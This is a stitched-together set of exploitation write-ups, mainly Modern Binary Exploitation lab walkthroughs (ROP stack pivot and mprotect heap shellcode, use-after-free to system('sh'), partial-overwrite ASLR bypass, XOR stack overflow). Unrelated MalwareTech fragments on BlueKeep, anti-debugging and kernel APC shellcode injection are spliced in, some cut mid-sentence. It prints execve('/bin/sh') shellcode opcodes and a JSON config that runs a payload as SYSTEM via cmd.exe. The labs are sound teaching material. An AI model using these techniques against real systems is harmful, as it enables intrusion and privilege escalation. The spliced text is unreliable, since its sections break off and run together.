3. Then, by asking the program to print message #1, we have it call print_index() from the menu and asks for the number of the message to print. Once the number is provided, print_index() calls print_msg() - or whatever pointer we put there. Since for message  #1 we overwrote this pointer with print_index(), by asking the program to print message #1 we manage to have a recurrent print_index()->print_index() call. This way another set print_index()'s local variables and arguments is put on the stack, along with messages[i]. When the second print_index() call asks for the message number to print, we chose #3, because its print_msg() pointer was overwritten with printf()'s address and its XOR pad with our format string.
4. This way we achieve the print_index()->print_index()->printf("%20$p"), creating and exploiting a format string condition.

Below is the stack of print_index():

Below is the stack of print_index()->print_index():

So the stack's properly groomed for leaking the address of messages[i]. From this point we can calculate the offset to the XOR pad we decide to put our payload in. We'll get back to this, now let's find out how to take control of the stack and start our ROP.

Corb3nik's solution - ROP-based stack pivoting

By analyzing Corb3nik's solution, after comprehending the convoluted heap address leaking, I realized that he started his ROP chain with a pointer pointing at a mov ecx, esp; ret; gadget (changing the stack pointer to the value of ECX). We saw a bunch of those earlier in ropeme output, when we were searching for stack-pivoting gadgets. I felt puzzled, as back then when looking at the state of the registers the only register that appeared to have a useful value was EDX.

I understood the use of ECX after I analyzed the way he provided arguments to the final print_index() call in his exploit, made me understand the trick:

So let's not focus on the ROP chain itself now (it makes ESP point to the buffer on the heap and then ret to it, as mentioned before, turning the heap into program's stack, because why not :D - I decided to go a different route, later on that).

Let's focus on the way the chain is delivered - along with the message index!

Again, print_index() source code, focusing on a part we did not pay much attention to before:

So again, this is the function that calls our overwritten pointer. It will trigger the exploitation by calling print_index()->mov ecx, esp; ret;.

Its local variables are held on the stack. Then it makes the call to print_msg() - or whatever we overwrite it with, putting more variables (call arguments, stack frame, saved RET and any local variables if needed) to the stack. This means that the numbuf[32] is there on the stack - and that's where ECX happens to point when messages[i]->print_msg(messages[i]); occurs.

While fgets() allows us to stuff 31 bytes into numbuf[32], only the first one needs to be a digit corresponding to the chosen message index, the rest can be anything non-null we want to place on the stack, as the later strtoul() conversion will simply ignore it - and ECX points there:

So, after we have any message structure on the heap with its print_msg pointer  overwritten with one of the mov ecx, esp; ret; gadgets (e.g. 0x80bd536), we can simply ask the program to print a message and provide it's index along with up to 30 bytes of our ROP chain.

So now we control EIP, we control the stack and we can overwrite the heap pretty much anyway we want. Now we can talk!

My last-stage ugly alternative - shellcode to heap, mprotect() heap RWX and ret there

Corb3nik's ROP chain delivered to the print_index()->numbuff[32] buffer via  print_index()->fgets()'s input made the program start using the heap as the stack (pop esp, ret;).With the rest of his ROP chain stored on the heap via the initial heap overflow:

As you might remember from the beginning of this way too long write up, I wanted to use mprotect() really bad, to make the heap executable and just fucking jump to it (thus ugly), without using any more ROP.

I did as well start off with the messages[i]->print_msg() pointer overwritten with the address of a  mov ecx, esp; ret; gadget.

But my ROP chain delivered along with the message number to the print_index() stack looked like this:

So obviously it started with the address of mprotect().

Then there was an address of a pop3ret instruction - the next instruction the mprotect() would return to - this is where it would expect to have its parent's saved RET stored. Before we return to the next address, we have to jump over/clean up the mprotect() arguments still lying on the stack, hence we have to use popNret as the next addr to return from our function whenever that function takes N arguments. This is the basic principle of building ROP chains.

OK, then the arguments.

First, the start address of the memory area we want to change memory protection flags of. I initially used the address of my shellcode  (warning, this did NOT work and required a fix, but read on!). The shellcode was already delivered to message #1's buffer by overwriting its XOR pad with the format string for printf() AND the shellcode itself:

At the time of writing the exploit it was still a NOP-holder, I left shellcode writing till the end. The point is that the address of the shellcode on the heap was already known thanks to its fixed offset from the leaked pointer.

Then the length  (I wanted to use 0x64 just to be on the safe side and have enough space executable). Then the flags (0x7 = READ + WRITE + EXEC).

And then, lastly, again the address of the shellcode on the heap. This is where the last ret from this short ROP chain will return. Then it will be just normal (a sequence of opcodes) shellcode executed on the heap.

For some reason mprotect() kept returning an error (0xffffffff in EAX), so the range must have been incorrect. I peeked into XPN's ROP Primer https://blog.xpnsec.com/rop-primer-level-0/ write up again and did as he did there with the stack - used the entire fixed heap start address + length as arguments (as I mentioned, they stayed the same between instances, hence could be fixed). Not the prettiest solution, but it was late and I just wanted to write the shellcode, run it from the heap and call it a day.

Shellcode

OK, the shellcode now. As far as I remember it should look like:

I built this using shellnoob (a tool I recommend for asm->opcode and opcode->asm conversions):

So, the opcodes are:

682f736800
682f62696e
54
5b
6a0b
58
31c9
31d2
cd80

So yeah, it worked:

The full code of my heavily uglified version of Corb3nik's exploit can be found here:

https://github.com/ewilded/MBE-snippets/blob/master/LAB7A/exploit_rwx_heap.py

The target app

This time we are dealing with a very plain and simple UaF vulnerability. The source code can be found here: https://github.com/RPISEC/MBE/blob/master/src/lab07/lab7C.c

Right away we can see two data structure definitions, which more-less suggest what we are going to be dealing with (structures holding some data along with some function pointers):

While the menu clearly shows what operations are available:

After creating instances of the structures we'll be able to call their dedicated print functions pointed by the (* print) pointers.

If you are familiar with Use after Free, you already know it will all boil down to allocating space for one of them, filling it with arbitrary data wherever we can control it, then asking the program to remove it, then allocating another instance of another structure in the same space previously taken by the first one - and then abusing an old pointer used for tracking the first structure to perform the structure-specific operation, making a function call to an arbitrary address we smuggled inside the data of the second structure.

How data is aligned in memory

So, to find out what fields of the number and data structures overlap with each other and therefore can be used to decide on the exploitation sequence, first we need to know exactly how data is aligned in memory.

We already know that the number structure is 16 bytes long, while the data structure is 32. So we would expect to have to use two number structures to fill the space previously taken by one data instance.

So I ran gdb to find out I was wrong. I allocated three numbers in a row, then took the current heap start address from vmmap output (important to do this AFTER the first allocation, otherwise you won't even see the [heap] section in vmmap output because it won't be allocated by the OS) and had a look. Then I restarted the program and did the same with the number structure. The results are illustrated by the screenshot below:

As we can see, both structures take 32 bytes (the 16-bit structure is automatically padded to 32 bytes). This is very convenient for us, as we won't have to struggle with aligning different numbers of instances against each other to achieve the favorable alignment allowing us do something neat.

Combining mutually-overlapping fields of both structures to find the proper codexec UaF scenario

So, since I already started with the visualization thing to clearly see the memory layout, I decided to take further advantage of it to compare what fields in one structure correspond to what fields in the other.

On the upper part of the screenshot (number) function pointers were marked red, actual numbers were marked green. On the lower side of the screenshot (data) function pointers were marked green, last four bytes of the string were marked red:

Looking at this for just a few seconds made it clear to me how to achieve execution control.

We can see that in the number structure, the function pointer (0xb770ccb4 on the screenshot above) occupies the same space that, when allocated with a string, always contains at least one nullbyte (0x00414141 on the screenshot above). This is because the string is automatically null-terminated by fgets() and we can't control it.

Hence, allocating a number, then deleting it, allocating a string in its place and then requesting the program to print the number won't get us far  (we'll crash the program if we call 0x00ANYTHING), as we only control up to three bytes and we are not even overwriting a function pointer, so a partial overwrite won't help us (fgets will always put a null where we want something arbitrary/the most significant byte of the base).

At the same time we can see that the space holding the actual number value (0x41414141 on the screenshot above) which we can control fully as numbers from all ranges are acceptable), sits in the same place as the function pointer for the string structure ( 0xb774dc16 on the screenshot above). Hence, allocating a string, deleting it, creating an arbitrary number and then requesting the string to be printed would effectively lead to the program trying to print the already freed  string with code pointed by our newly created number, still treating it as a pointer to the data-> print(big_str/small_str) function.

Let's try it.

We add a string (its contents are irrelevant, we are only interested in having data structure's print function pointer propagated onto the heap):

Now we remove it:

OK. Now we are going to introduce the pointer address we will trick the target program to call (in our final exploit this will be the address of system()). Let's say we want the program to crash by calling address 0x31337157 (because it's not a valid address in its address space).

Calculating the decimal format:

$ printf "%d" 0x31337157
825454935

OK:

Now, asking the program to print the string 1 should lead to a segfault at 0x31337157:

Yup. And the string itself will be useful to us to control the arguments (so we'll put system()'s address instead of 0x31337157 and "sh" as the string, leading to system("sh")).

If we look at the corresponding fields on the heap layout we'll see that first 16 bytes of the string buffer are occupied by the reserved fields in the number structure, which means that if we allocate a number after removing a string, taking the space it was allocated on, the first 16 bytes of the structure (6 bytes reserved and 2 bytes of padding) will be left alone with the old values from the string.

So calling system("sh") should be doable:

1. create a string "sh"
2. delete the string
3. create a number == libc system()'s address
4. 'print' the string

The only problem we have got left to figure out is how to leak the memory layout to bypass ASLR.

Combining mutually-overlapping fields of both structures to find the proper UaF leak scenario

Looking at the layout again brought me the potential answer to this literally after the first glance (which proves how crucial it is to have the literally see the layout).

As we want to leak memory, we need to call a function taking an argument that happens to be/store a pointer.

The goal is to see both possible states of the memory combined and find such a combination of values that will let us achieve our goal. Let's look at the layout again, this time focusing on two particular neighboring double word values we would like to have in one state - and then think if we can groom the memory into that state:

When the space is occupied by a number structure, the +0x20 address contains a pointer (the print function, marked green), while +0x24 contains data (the number, in this case 0x41414141 - but that's irrelevant to our goal, thus marked grey).

Conversely, when the space is occupied by a data structure, the +0x20 address contains data (the last three bytes of the string and its terminating nullbyte - useless to us, hence marked gray), while +0x24 contains a pointer (the print function, marked red).

We want to trick the program to create that state, so we can call the big_num/small_num  number-printing function, with the address of the string-printing function sitting in the space previously occupied by an irrelevant number before it was free()'d and then allocated again (but not entirely overwritten!) for the string structure.

So, we create a number, then we remove it (so the number[index] is not 0, even though the structure it was pointing at was 'removed', which means free()'d).

Then we create a relatively short (less than 15-character) string, to avoid fgets() overwriting the last four bytes of the buff[20], because that is where the old number's print pointer is held and we will want to call it, so it prints out the address of the string-printing function for us, thus leaking to us the mem layout info needed for calculating the system()'s address.

Let's try this slow motion, using a breakpoint in the main loop: b *(main+169).

First, we allocate a number (1):

Now, this is the heap:

Now, we remove the number:

And again, this is the heap (yes, everything is still there after free()):

Now, we make a string up to 16 characters:

Now, this is the heap:

Now, requesting the program to print the number[1] will make it call 0xb779dc65 (big_num) with 0xb779dbc7 as argument, so we have our leak:

So, we have a number vomited out. Let's convert it to a format more readable to us (hex):

Looks good. Let's confirm in gdb:

Awesome. It looks like we have all the bits and pieces to develop an exploit! :D

Calculating system()'s address

This time I decided to skip leaking the contents of the printf()'s GOT entry (as I did in https://hackingiscool.pl/mbe-is-fun-lab6a-walkthrough/) to calculate the system()'s address.

Instead, I decided to find out whether libc's system() address could be calculated based only on the leaked base of the target program's code segment - and it turned out it can! At least on the VM provided for MBE.

Either way, first let's have a look around just like we were about to leak the GOT anyway:

Here are, respectively, our code, rodata and data segments (again, creating a continuous space with fixed offsets from each other):

OK, now we search these ranges for the 0xb7622280 value (the address of printf()) as we know it has to be stored in GOT after the first printf() call:

This time (as opposed to what we had in https://hackingiscool.pl/mbe-is-fun-lab6a-walkthrough/), our entry is at 0xfa4 offset in the rodata (read-only data) segment, which at the time of taking the screenshot above was at base 0xb77b4000. This is most likely the result of the -z relro gcc compilation flag:

That's OK, this is a countermeasure against GOT overwrites, we don't care about it this time at all.

If we were doing this the usual way,  we would leak the code base first. Then we would calculate the rodata address to then calculate the printf()'s GOT, so then we would leak printf()'s address from it.  And then based on its fixed offset from system() within libc itself, calculate system()'s address. Then get a shell.

But let's try more directly and run the program for a few times, observing the vmmap output, focusing on the relation between the target app code segment base (which we can already leak) and the libc base (which we want to know as well):

Another run:

Yup, in both cases the offsets are the same:

Hence, one leak is enough here (which would not be the case for the stack or the heap, but we don't care about those here).

So, once we subtract 0x1dd000 from the leaked target app code base, we have the libc code base.

Now we want to know system()'s offset within the libc itself (as opposed to calculating the difference from the relative printf() offset):

The required calculations can be done with below python code:

With all this in place, we can already exploit the program.

Manual exploitation

This exploitation can be easily conducted by just interacting with the program in console by properly choosing menu options and entering simple strings and numbers:

Full python exploit (pwnlib)

https://github.com/ewilded/MBE-snippets/blob/master/lab7C/exploit_shell.py

I'll try to keep this one short.

What we are going to cover

We are not going to overwrite the saved RET on the stack (we're gonna have a different pointer available, without touching the stack protector). We are  also going to:

• beat ASLR with an initial tiny little taste of brute force combined with a partial overwrite
• do some leaking
• do some offset-based calculations
• do some more overflowing and overwriting
• do some more leaking
• again some overflowing with overwriting
• then we'll call up our shell.

What's vulnerable

Looking at the source code of the target app (https://raw.githubusercontent.com/RPISEC/MBE/master/src/lab06/lab6A.c) I felt a bit confused, seeing how much code it has - comparing to previous apps.

Noticing a good deal of unused code reaffirmed my feeling that this app was either intended to be solvable in multiple ways or was expected to be solved in a very painful way, requiring multiple steps and gadgets to be used (which would mean that the originally intended solution was slightly more complicated than what I came up with).

For the sake of brevity, I am only going to bring up parts of the code I found relevant for getting arbitrary code execution.

First, there's a simple structure definition, holding two buffers and an integer:

OK, now the main() function (this is where the uinfo structure is instantiated, by the way):

From all of the above, we are in fact only interested in:

1) line 75: an instance of the uinfo structure gets declared as a local variable, which means it's on the local stack of the main() function

2) line 91: the address of the print_listing() function is assigned to the merchant.sfunc integer value

3) line 113: if we type '3', we call the function from the merchant.sfunc address, passing the address of the merchant structure as an argument.

4) line 107: if we type '1', we call the setup_account() function.

We don't care about the print_listing() function, we are not going to use it, neither anything else not mentioned so far.

Now, the setup_account() function. This is where our neat buffer overflow resides:

The vulnerability is sitting in the expression being the first argument to memcpy().

As temp is 128 bytes long, user->name can be up to 32 bytes and the fixed " is a " string is 6 bytes long, we are able to overflow the user->desc buffer by 38 bytes.

If we look at the uinfo structure definition again, we can see that the sfunc pointer resides right after the desc buffer, so it becomes clear how we are going to achieve execution control. We are actually going to exploit this three times to execute arbitrary code.

What's useful - a few gadgets

On line 69, there's a nice and very simple function print_name():

It's not called anywhere in the code, but it's definitely a good gadget for leaking. Will print any buffer pointed by the argument, until a nullbyte is encountered.

Also, on line 29, there's a definition of a strange function. This function does not get called anywhere from the rest of the program, clearly suggesting it being intended to be used as a gadget.

It simply writes 8 bytes of the buffer pointed by the value pointed by its argument (a pointer to a pointer) to the standard output:

In fact I found it quite handy using it as a gadget in leaking information needed for properly constructing the final code execution payload.

Leaking the address space layout

So, we want to overwrite the sfunc integer with an address of the print_name() function, as it appears to be the best (simplest) way to leak some memory.

This is how the stack looks like when the setup_account() is called (with 31 'A' characters + newline as username, plus 90 'B' characters to fill the desc (32+90 = 128), to stop exactly before touching the original sfunc value (the address of the print_name() function):

Let's see what offsets our functions have (output from gdb on a binary that was not run before, hence all bases are 0x00000 and only offsets are visible):

OK, so we can do a partial overwrite (by using 130 bytes instead of 132), only overwrite two least significant bytes of the pointer, leaving the base value (which we won't know at the time of exploitation) alone. This is a common ASLR bypass technique. We want to 9e0 become be2.

The problem is that we can't simply overwrite half-bytes, only whole bytes. This means we have keep trying (brute force) with some arbitrary value of the first half-byte we do not know (because it's part of the base provided by ASLR), until we hit an instance of the program when in fact that half-byte will be equal to it, so overwriting it with our arbitrary value won't mess up the address.

'b' is the value I chose, as I saw it appearing in an actual address in gdb (see the screenshot above).

Hence I decided to try doing this partial overwrite to print_name with an arbitrary value of 0xbbe2, whereas the first be2 is the known offset of the `print_name` function while the preceding 'b' half-byte is a guess. First two most significant bytes are left intact (it's important to avoid sending out the trailing newline, as it will overwrite the third least significant byte with 0x0a and we definitely don't want that!):

To automate this a bit, the routine was put into a loop:

This does not need many attempts as there are only 16 possible values a half-byte can have.

If the address is incorrect, the program will crash right after calling the 'View info' option by sending '3'. If it does not crash, print_name(&merchant) was successfully called, with the entire merchant (name + desc + print_name_addr) content being printed out up until the nearest nullbyte down the stack.

And this is how it looks like:

This way we have leaked the entire base of the code segment, after guessing its least-significant half-byte. Now we can do calculations, so we know exactly the value we'll overwrite the sfunc pointer next (we will NOT restart the program from now, but keep overflowing and calling from now on - no more bruteforce!), to achieve arbitrary code execution.

Again, the exploit snippet:

Calculating libc system() - the hard way

So, I obviously thought of the simplest system("sh") similar to ret2libc. Let's just overwrite the sfunc with the address of the libc system() method.

But how are we going to know what it is? Well, we can obviously calculate the offset between system() and printf():

So, in our libc printf()'s address is 0xd0f0 above system()'s. Hence, all we'll need to do to achieve system()'s address will be a subtraction of this value. Then another overwrite with setup_account() and we should get our shell.

OK, where do we get that (printf()'s address) value from? It should be in our address space (GOT, in the data segment), because printf() is being used by our target program so it is definitely linked and already resolved in GOT by the PLT routine (the PLT routine is in the code segment, by the way).

A quick search showed that this is the case (the program was broken on a breakpoint at setup_account(), so GOT was resolved already (0xb7707000 0xb7708000 was the range of the data segment in that instant):

The above also showed that the relevant GOT entry (0xb7707010) was located at offset 0x10 of the current base address of the data segment (0xb7707010 - 0xb7707000 = 0x10).

But then I thought: but how do we leak the data segment address?

I started looking at the code to notice that it is being passed on the stack, e.g. for the ulisting-operating functions like make_listing().

I could read that from the stack. But how do I leak the stack address first?

Oh fuck no, it looks like I am going to have to redirect the execution to that make_note() function first and exploit it first? Nah, this is madness. There has to be an easier way!

Calculating libc system() from here - the easy way

So, below is a sample full output of the vmmap command (this time addresses are slightly different than the ones earlier, this is due ASLR, nonetheless the same rules apply):

Notice something? The three consecutive segments marked red, are, respectively:

• the code segment
• the read only data segment
• the data segment

And they create a continuous range of addresses, which suggests they are aligned at fixed offsets from each other. Let's run the program several times and check if this is the case:

Yup. We can clearly see that data, code and rodata share the same base. Awesome, looks like we found a shortcut.

rodata is is 0x2000 bytes greater than code, data is 0x1000 greater than rodata.

So, once we have the base for the code segment, we simply add 0x3000 to it and get the base for the data segment. Then we add the known offset and we know the address of printf()'s GOT entry. So we know where to read from the libc printf() address. Then we can calculate the address of system().

The exploitation algorithm from here

The first overflow allowed us to leak the base of the code segment and calculate everything else we need for exploitation. Now we want to:

1. Trigger the overflow for the second time, this time to overwrite the sfunc value with the address of the write_wrap() function (which is perfectly suited to leak the GOT after being provided its address, because the GOT itself is a pointer). With the GOT address put in front of the merchant object (name buffer), so it becomes the argument to the sunc(&merchant) call.
2. Leak the printf() libc address by calling the newly overwritten sfunc.
3. Trigger the overflow for the third time, this time to overwrite the sfunc value with the address of system(), while putting the arbitrary command in front of the merchant object (name buffer).
4. Cll it!

How the second overflow unexpectedly failed and why. read() and strncpy() to the rescue.

So, the last surprise here was that the second overflow failed. Instead of leaking the GOT, the whole buffer was printed again. This meant that the sfunc was not overwritten this second time and that in result of "pressing" '3', print_name() was called once again.

After looking at the code I figured out why. The merchant->user and merchant->desc buffers are initialized with nullbytes only before the while loop and never again.

This means that after filling both buffers with non-null values, the next time setup_account() calls this memcpy:

the strlen(user->desc) expression is going to return much more than 32 (as it did in the first call), because after the first overflow at least 128 bytes of the user->desc buffer already contain non-null bytes. This will effectively make this second overflow go much further, starting overwriting beyond the pointer we want to overwrite.

Just before that memcpy() happens, this is how user->desc is impacted:

So if we need that strlen(user->desc) to return less, this time we have to inject a nullbyte into the user->name buffer (via the read() call on line 60) and let it be propagated to user->desc by the following strncpy() call. Luckily both read() and strncpy() support this :D

After that - depending on which character we put the nullbyte at, the strlen() call will return no more than 32, making the sfunc pointer again within the reach of our overwrite. We just need to properly calculate how many bytes will there be to fill between the beginning of the user->desc buffer and the sfunc variable (the sum will always be 128).

And since merchant is the argument to the sfunc() call, we put our arbitrary command (argument for system()) in the beginning of the merchant->name buffer, as it's the first field of the structure anyway):

And here we see the final action:

The exploit

The full exploit code can be found here:

https://github.com/ewilded/MBE-snippets/blob/master/LAB6A/exploit.py

I held back this write-up until a proof of concept (PoC) was publicly available, as not to cause any harm. Now that there are multiple

The post Analysis of CVE-2019-0708 (BlueKeep) appeared first on MalwareTech.

The Vulnerability:

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Reverse Engineering and Exploitation :

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Fails (JZ fail) if the property ExeName is absent

Fails if the property SourcePath is absent

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{
    "CmdLineExecute":       
    {
        "ExeName": "cmd.exe",                           
        "SourcePath": "file://C:\\Windows\\System32",               
        "ExeMD5": "fef8118edf7918d3c795d6ef03800519"
    }
}

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 {
    "CmdLineExecute":                                  
    {
        "ExeName": "cmd.exe",                          
        "Parameters": "/c start C:\\Users\\VM\\Desktop\\run_me_as_system.exe",
        "SourcePath": "file://C:\\Windows\\System32",              
        "ExeMD5": "fef8118edf7918d3c795d6ef03800519" //MD5 hash of CMD.EXE
    }
}

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• Make the query return an error code even though a debugger is attached, or...
• Let the query succeed but return a NULL handle.

1. If there's no debug port attached then return STATUS_PORT_NOT_SET.
2. If the process holding the debug port is at a higher protection level return STATUS_PROCESS_IS_PROTECTED.
3. Finally open a handle to the debug object and return the status code from the open operation.

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• The driver registers a CreateThreadNotifyRoutine in its DriverEntry.
• CreateThreadNotifyRoutine queues a kernel-mode APC to a newly created thread.
• The kernel-mode APC is delivered as soon as the IRQL drops below APC_LEVEL in the target thread in which we allocate executable memory in user-space, copy the shellcode, then queue the user-mode APC.
• The user-mode APC is delivered in user-mode.

Anyone who uses RegEx knows how easy it is to shoot yourself in the foot; but, is it possible to write RegEx so badly that

The post Analysis of a VB Script Heap Overflow (CVE-2019-0666) appeared first on MalwareTech.

VOID EtwTiLogQueueApcThread(
    BYTE PreviousMode,
    PKTHREAD ApcThread, //Apc->Thread
    PVOID NormalRoutine,
    PVOID NormalContext,
    PVOID SystemArgument1,
    PVOID SystemArgument2);

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This post is a continuation of my MBE (Modern Binary Exploitation) walkthrough series. In order to get some introduction, please see the previous post: https://hackingiscool.pl/mbe-lab6c-walkthrough/.

A look at the target app

So let's get right to it. The source code of the target application can be found here: https://github.com/RPISEC/MBE/blob/master/src/lab06/lab6B.c. The lab6B.readme reveales that this time we are not dealing with a suid binary. Instead, we are supposed to compromise a service running on port 6642.

Let's see if we can interact with it from our MBE VM command line:

Nice, it's working.

Running locally

Our target application is not actually capable of networking. This is covered by socat:

socat TCP-LISTEN:6642,reuseaddr,fork,su=lab6A EXEC:timeout 300 /levels/lab06/lab6B

For the purpose of better understanding of how the target program behaves and making its exploit development easier, let's compile our own version in /tmp.

The only change required is the hardcoded /home/lab6A/.pass path - with the assumption that we are doing our development from the MBE VM, using lab6B account (as we won't have the privileges to read it):

I just replaced it with pass.txt (the file needs to exist, be nonempty and readable for the program to work properly):

The source code overview

Now, the source code. Just like in lab6C.c, we have a 'secret_backdoor()' function here as well, so all we are gonna need is execution control:

Then we have the hash_pass() function. Takes two pointers to buffers (password and username) and XORs each byte of the password buffer the corresponding byte from the username buffer. The crucial property here is that the XOR operation will keep going until a nullbyte is encountered under password[i] index:

If a nullbyte is encountered under username[i] first, the rest of the password is XOR-ed with a hardcoded value of 0x44.

Then there's the lengthy load_pass() function, which simply reads the contents of the /home/lab6A/.pass file into the buffer pointed by the pointer passed as the only argument this function takes:

Now, this is how the main() function looks like:

It loads the local user password into the sercretpw buffer and hashes it with the hardcoded "lab6A" string (the target username). Then it calls the login_prompt() function, passing the original password size and the hash to it.

Then finally we have the login_prompt() function. It reads username and password to local buffers using strncpy() to only read maximum number of bytes up to the size of the current buffer to avoid overflow. Then it calls the hash_pass() function on the buffers. Then compares (memcmp()) the result with the password hash pointed by the pointer passed in the second login_prompt() argument, also making sure that it compares the exact number of bytes as it should (pwsize):

The first vuln

And honestly, I could not figure out where the vulnerability was. So I peeked into Corb3nik's solution https://github.com/Corb3nik/MBE-Solutions/blob/master/lab6b/solution.py only to notice the following part:

By the way, as the original version kept complaining about input arguments, before I read the usage comment, I simply modified it to make the 'remote' variant (hardcoded remote() method of interaction with hardcoded 127.0.0.1:6642): https://github.com/ewilded/MBE-snippets/blob/master/lab6B/solution.py. Either way, it works like a charm. Now let's find out how and why.

So, after sending the first set of credentials, the exploit is parsing the output from the application (p.recvline()) as a memory leak (individual byte ranges are saved in values with names corresponding to the names of local values stored on login_prompt()'s stack), right after encountering the "Authentication failed for user" string. This made me see the light and instantly revealed the first vulnerability - which by the way also makes the second vulnerability possible to exploit, but we'll get to that in due course.

The local readbuff buffer is 128 bytes-long. Both username and password are 32 bytes-long:

Now, what happens next is that fgets() reads a string from user input, saving it in the readbuff buffer. To make the user input saved in readbuff an actual string, fgets() will terminate it with a nullbyte. This means that if we provide, let's say, 60 characters of username, fgets() will make sure byte 61 is 0, so the string is terminated:

This itself is not an issue. However, what happens next is strncpy() blindly rewriting up to 32 bytes from readbuff to username.

The same goes for password.

This means that if we provide at least 32 bytes both as username and password, both 32-byte buffers, username + password,  create a continuous 64-byte block of memory without a single nullbyte. Depending on the values stored next to it (in this case attempts and result, and anything that follows, the continuous non-null memory block can be longer - and printable.

Every time after hash comparison fails, the address of the username buffer is passed to a printf() call:

Provided with a pointer to the username buffer and the %s formatting modifier, printf() will keep printing memory starting at username and will only stop once it encounters a nullbyte on its way. Hence the memory leak necessary for us to obtain the information required to defeat ASLR (as we must provide the current, valid address of the login() function to EIP).

Running the app

Before we proceed any further, let's get the feel how all this data is aligned on the stack.

Let's put our first breakpoint here (betweeen strncpy() and hash_pass() calls):

Which would be this place in login_prompt() (at offset 278, right after the second strncpy() call is complete):

We can set a breakpoint on an offset, without first loading the program and using a full address, like below:

OK, run:

The breakpoint is hit let's have a look at the stack and identify what's what:

To confirm whether the value we think is the saved RET is in fact the saved RET, let's simply check the address of the next instruction after the login_prompt() call:

Yup. So we know how data is aligned on the stack when hash_pass() is about to be called.

Fair enough, let's create a second breakpoint - right after the hash_pass() call - to see how  affects the  values on the stack : break *(login_prompt+296)):

And once it's hit, we can see that the password (originally consisting of capital 'C's) was hashed with the username (capital 'B's), as well as were the two integer values (attempts and result) and stuff that follows them:

Even the trailing 0x80002f78 was changed to 0x80002e79 in result of the XOR operation. The XOR stopped on the nullbyte in 0x80002e79, leaving the 0x80 part intact.

At this point I got really worried about my understanding of the issue. How are we supposed to leak any memory layout information like the saved RET, saved EBP or anything revealing the current address base, if we encounter a nullbyte on our way earlier? We are always going to have nullbytes on our way with saved RET containing it due to the code segment base address containing such:

Then I noticed that the code segment has in fact a non-null base  (just like the other maps)  when we attach to an already running process instead of starting it from gdb (if you know the reason of this behavior please let me know).

As my goal was to figure out the exploitation myself and using Corb3nik's exploit for clues as last resort, I tried to develop the rest of the code myself, starting with this skeleton taken from his code:

https://github.com/ewilded/MBE-snippets/blob/master/lab6B/leaktest.py.

Setting the pwlib's context.log_level variable to debug makes gives a great additional feedback channel during exploit troubleshooting and development.

Here's a sample run of this exploit skeleton (note the entire [DEBUG] output, the script itself does not print anything explicitly except for "The pid is: ..."):

By the way, because I wanted to attach gdb to the target process before inducing the out-of-bonds read (so I proceed from this point developing the exploit), I made it   print out the PID and pause, waiting for a key to be pressed:

This way we can conveniently attach to the process from a second console:  

Again, breakpoints:

And the stack (marked red saved RET, the address of the next instruction after login_prompt() call):

The second vuln

Now let's see how the stack changed after the first hash_password() call (breakpoint 2):

First, we have our username buffer (32 bytes of 0x42 value) intact. Then we have the password buffer. It's also 32 bytes, originally of 0xff value we sent in our payload... now turned into 0xbd.

The 32 bytes of password got XOR-ed with their corresponding username bytes.  0x42 XOR 0xff = 0xbd. So far so good.

But what happens next, when i becomes 32 and keeps incrementing, because no nullbyte was encountered under neither password[i] or username[i]?:

username[32] points at password[0], username[33] points at password[1] and so on. And password[32] points at result, password[33] points at attempts and so on. XOR keeps XOR-ing.

Let's have a look at the two signed integer values (result and attempts), previously 0xffffffff and 0xfffffffe. Now they're 0x42424242 and 0x42424243, respectively:

So, how did their bytes turn from 0xff to 0x42? Had they been XOR-ed with 0x42 (username), they would now be nullbytes (which we don't want, by the way), because any value XOR-ed with itself becomes 0.

They were originally 0xff and became ox42 because they were XOR-ed with 0xbd (to check what was the value they were XOR-ed with, we can simply XOR the current value with the old value, 0x42 XOR 0xff = 0xbd):

So, the bytes that follow the password buffer (including the two integers, saved EBP and the saved RET) got XOR-ed with the contents of the password buffer... after the password buffer was XOR-ed with the username buffer.

And this is how we attained the second vulnerability - which, as we can see, allows us to change the saved RET!

Look again, the saved RET got changed as well (marked blue):

It's original value was 0xb77cdf7e, now it's 0x0ac162c3. Again, we can run simple test to see what was the value it got XOR-ed with:

Yup, it was 0xbd (username XOR password).

So, the second vulnerability is an out-of-bond XOR in the hash_function().

A XOR with a buffer that we control. So it is effectively an out-of-bond write (a XOR-chained stack-based buffer overflow).

And funnily, it has the same root cause, which is relying on whether or not a particular consecutive byte is null instead of using a maximum size boundary for write.

Understanding the exploitation process and implementing it

In order to trigger both the out-of-bonds read and out-of-bonds XOR, we must provide 32 non-null bytes of username and then 32 non-null bytes of password.

Also, no byte at username[i] can have its corresponding byte in password[i] equal to it (that would lead to the relevant password[i] becoming a nullbyte in result of the XOR operation, cutting us out from the further bytes on the stack).

This way the following things will happen:

1) password will get XOR-ed with username

2) the bytes on the stack following the just XOR-ed password buffer ( attempts, result, login_prompt() parameters, saved EBP and saved RET) will get XOR-ed with the new contents of the password buffer - which is, again, what we provide as password then XOR-ed with what we provide as username.

3) Since this authentication attempt will fail, the printf() call  will print out everything starting from the username buffer through the XOR-ed password to the rest of the values on the stack XOR-ed with the XOR-ed password up until a nullbyte is encountered.

So we use the out-of-bound printf() to actually obtain, among others, the saved RET.  All these values are XOR-ed with the result of the username XOR password operation.

At this point the program is in an incorrect state. The saved RET and saved EBP do not make sense. We will now how to trigger both vulnerabilities again with another authentication attempt, crafting the username and the password payloads in such a way that when the values on the stack (attempts and saved RET) are XOR -ed with the password buffer (which at that point will be the result of XOR between the username and the password we provide), they become the arbitrary values we WANT them to be.

Yes, in addition to the saved RET becoming the current address of the login() function,  we also want to control the  attempts value, so the while loop can end:

The login_prompt() function will not attempt to return until the loop ends. And the return call is how we gain execution control via saved RET overwrite.

What we need to do now is:

1) use the leaked values to calculate the login() address

2) craft the second username and password 32-byte payloads in such a way, that the current values on the stack (a copy of which we already got via the leak) - especially saved RET and attempts - once XOR-ed with the password buffer, become what we want them to be. Keeping in mind that the password buffer will first get XOR-ed with the username buffer, so we'll need to consider this order while preparing the payload.

All boils down to applying correct values and correct order of XOR-ing.

Let's start from the first payload again.

This time we'll use 'C' (0x43) as username and 0x11 as password:

Now, reading the values from the leak:

We know they are XOR-ed with 0x52, because 0x43 ('C', the username) XOR-ed with 0x11 produces 0x52. Again, these values can be arbitrary as long as they meet the conditions mentions above. And once they are picked, the following decoding and encoding will depend on these values.

We know that XOR-ing anything with the same value twice produces the same value back again. So:

0x43 XOR 0x11 = 0x52

0x52 XOR 0x11 = 0x43

Knowing that the hash_pass() encoded the stack variables with 0x52, we XOR them with 0x52 to make them make sense again:

OK, time for the second payload. This time we'll use 'D' (0x44) as username, only to emphasize that it can differ here.

Obtaining the offset of the login() function:

